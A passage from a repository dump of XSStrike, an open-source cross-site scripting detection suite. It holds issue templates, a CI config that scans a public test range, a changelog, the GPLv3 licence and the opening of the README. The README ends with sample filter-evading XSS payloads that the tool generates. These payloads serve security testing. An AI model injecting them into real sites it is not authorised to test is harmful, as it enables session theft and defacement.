Repository: s0md3v/XSStrike
Branch: master
Commit: ab27955d3674
Files: 39
Total size: 186.1 KB
Directory structure:
gitextract_v_es0zmg/
├── .github/
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ └── feature_request.md
│ └── PULL_REQUEST_TEMPLATE.md
├── .gitignore
├── .travis.yml
├── CHANGELOG.md
├── LICENSE
├── README.md
├── core/
│ ├── __init__.py
│ ├── checker.py
│ ├── colors.py
│ ├── config.py
│ ├── dom.py
│ ├── encoders.py
│ ├── filterChecker.py
│ ├── fuzzer.py
│ ├── generator.py
│ ├── htmlParser.py
│ ├── jsContexter.py
│ ├── log.py
│ ├── photon.py
│ ├── prompt.py
│ ├── requester.py
│ ├── updater.py
│ ├── utils.py
│ ├── wafDetector.py
│ └── zetanize.py
├── db/
│ ├── definitions.json
│ └── wafSignatures.json
├── modes/
│ ├── __init__.py
│ ├── bruteforcer.py
│ ├── crawl.py
│ ├── scan.py
│ └── singleFuzz.py
├── plugins/
│ ├── __init__.py
│ └── retireJs.py
├── requirements.txt
├── test.html
└── xsstrike.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
labels:
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Explain how the issue can be reproduced.
<!-- Does this happen with a specific website? If that's the case, it would be
helpful if you can mail me the target at s0md3v@gmail.com or dm me at https://twitter.com/s0md3v -->
**Screenshots**
If applicable, add screenshots or paste terminal output to help explain your problem.
Feel free to hide sensitive information like the URL of the target.
**Potential cause or fix**
Do you know what could be causing the problem or how to fix it?
**Environment:**
- OS: [e.g. Kali Rolling 2018.2]
- Browser [e.g. Firefox 60.2]
- Python version [e.g. 3.7]
**Some Questions**
<!-- check the boxes with "x" like [x] -->
- [ ] I am using the latest version of XSStrike.
- [ ] I installed the dependecies using `pip3` instead of `pip`
- [ ] I have read the documentation before submitting this issue.
- [ ] I have checked the other issues to see if someone reported this before.
**Other comments**
Do you have something else to say?
================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.md
================================================
---
name: Feature request
about: Suggest an idea for this project
labels:
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Additional context**
Add any other context or screenshots about the feature request here.
================================================
FILE: .github/PULL_REQUEST_TEMPLATE.md
================================================
#### What does it implement/fix? Explain your changes.
#### Where has this been tested?
Python Version:\
Operating System:
#### Does this close any currently open issues?
#### Does this add any new dependency?
#### Does this add any new command line switch/option?
<!-- If you have added an argument which doesn't require a value, please don't use a shorthand for it. -->
<!-- For example, if you to introduce an option to disable colors please use --no-colors instead of -c -->
#### Any other comments you would like to make?
#### Some Questions
- [ ] I have documented my code.
- [ ] I have tested my build before submitting the pull request.
================================================
FILE: .gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
#vscode
.vscode/
================================================
FILE: .travis.yml
================================================
language: python
cache: pip
env:
- MOZ_HEADLESS=1
addons:
firefox: latest
os:
- linux
python:
- 3.6
before_install:
- wget https://github.com/mozilla/geckodriver/releases/download/v0.24.0/geckodriver-v0.24.0-linux64.tar.gz
- mkdir geckodriver
- tar -xzf geckodriver-v0.24.0-linux64.tar.gz -C geckodriver
- export PATH=$PATH:$PWD/geckodriver
install:
- pip install -r requirements.txt
- pip install flake8
before_script:
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
- python xsstrike.py -u "https://public-firing-range.appspot.com/reflected/index.html" --crawl
- echo "No" > input.txt && python xsstrike.py -u https://public-firing-range.appspot.com/reflected/parameter/body?q=query < input.txt
================================================
FILE: CHANGELOG.md
================================================
### 3.1.5
- Fix color bug that resulted in DOM XSS vulnerabilities not
being reported on certain systems (Windows, macOS, iOS)
### 3.1.4
- Negligible DOM XSS false positives
- x10 Faster crawling by
- Removing additional request for detecting DOM XSS
- Skipping testing of a parameter multiple times
### 3.1.3
- Removed browser engine emulation
- Fixed a few bugs
- Added a plugin to scan for outdated JS libraries
- Improved crawling and DOM scanning
### 3.1.2
- Fixed POST data handling
- Support for JSON POST data
- Support for URL rewriting
- Cleaner crawling dashboard
- No more weird characters while scanning DOM
- Better DOM XSS scanning
- Handle unicode while writing to file
- Handle connection reset
- Added ability to add headers from command line
- Fixed issue which caused `foundParams` to not be tested
### 3.1.1
- Fixed a build breaking typo
### 3.1.0
- Various minor enhancements and bug fixes
- Browser engine integration for zero false positives
- Coverage of event handler context
### 3.0.5
- Fixed a bug in HTML Parser
- Ability to add urls from file
- More modular structure
- Show parameter name while bruteforcing
- Fix payload display while using POST method
### 3.0.4
- Fixed a bug in bruteforcer
- Fixed a major bug in HTML Parser
- Added progress bar for bruteforcer
- Code refactor
- Updated signature for Fortiweb WAF
### 3.0.3
- Minor bug fixes
- Proxy Support
- Blind XSS support
- Detection of up to 66 WAFs
### 3.0.2
- Ability to bruteforce payloads from a file
- Verbose output toggle
- Payload encoding: base64
- Handle MemoryError in DOM scanner
- Fixed a bug in bruteforcer
### 3.0.1
- Fixed poc generation
- Better multi js context injection
- Better wrong content type handling
- Handle high variance of context breakers
- Better efficiency check
- Fixed update mechanism
- Added license
- Added --skip switch
- Ignore SSL certificates
### 3.0.0
Production ready stable release with no known bugs
### 3.0-rc-1
- Removed redundant code & imports
- Disable colors in windows and mac
- Fixed user-agent overriding
- Handle wrong content type
- Multi-thread scanning
- Rewritten JavaScript parser to be more accurate
- Handle dynamic number of reflections
- Better regex for locating DOM sources
- Fixed a bug in DOM scanning while crawling
- Flexible crawling with ability to specify threads, depth
- Treat html entity and slash escaping differently
- Other minor bug fixes
### 3.0-beta
Intial beta release for public testing
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
================================================
FILE: README.md
================================================
<h1 align="center">
<br>
<a href="https://github.com/s0md3v/XSStrike"><img src="https://image.ibb.co/cpuYoA/xsstrike-logo.png" alt="XSStrike"></a>
<br>
XSStrike
<br>
</h1>
<h4 align="center">Advanced XSS Detection Suite</h4>
<p align="center">
<a href="https://github.com/s0md3v/XSStrike/releases">
<img src="https://img.shields.io/github/release/s0md3v/XSStrike.svg">
</a>
<a href="https://travis-ci.com/s0md3v/XSStrike">
<img src="https://img.shields.io/travis/com/s0md3v/XSStrike.svg">
</a>
<a href="https://github.com/s0md3v/XSStrike/issues?q=is%3Aissue+is%3Aclosed">
<img src="https://img.shields.io/github/issues-closed-raw/s0md3v/XSStrike.svg">
</a>
</p>

<p align="center">
<a href="https://github.com/s0md3v/XSStrike/wiki">XSStrike Wiki</a> •
<a href="https://github.com/s0md3v/XSStrike/wiki/Usage">Usage</a> •
<a href="https://github.com/s0md3v/XSStrike/wiki/FAQ">FAQ</a> •
<a href="https://github.com/s0md3v/XSStrike/wiki/For-Developers">For Developers</a> •
<a href="https://github.com/s0md3v/XSStrike/wiki/Compatibility-&-Dependencies">Compatibility</a> •
<a href="https://github.com/s0md3v/XSStrike#gallery">Gallery</a>
</p>
XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.
Instead of injecting payloads and checking it works like all the other tools do, XSStrike analyses the response with multiple parsers and then crafts payloads that are guaranteed to work by context analysis integrated with a fuzzing engine.
Here are some examples of the payloads generated by XSStrike:
```
}]};(confirm)()//\
<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z
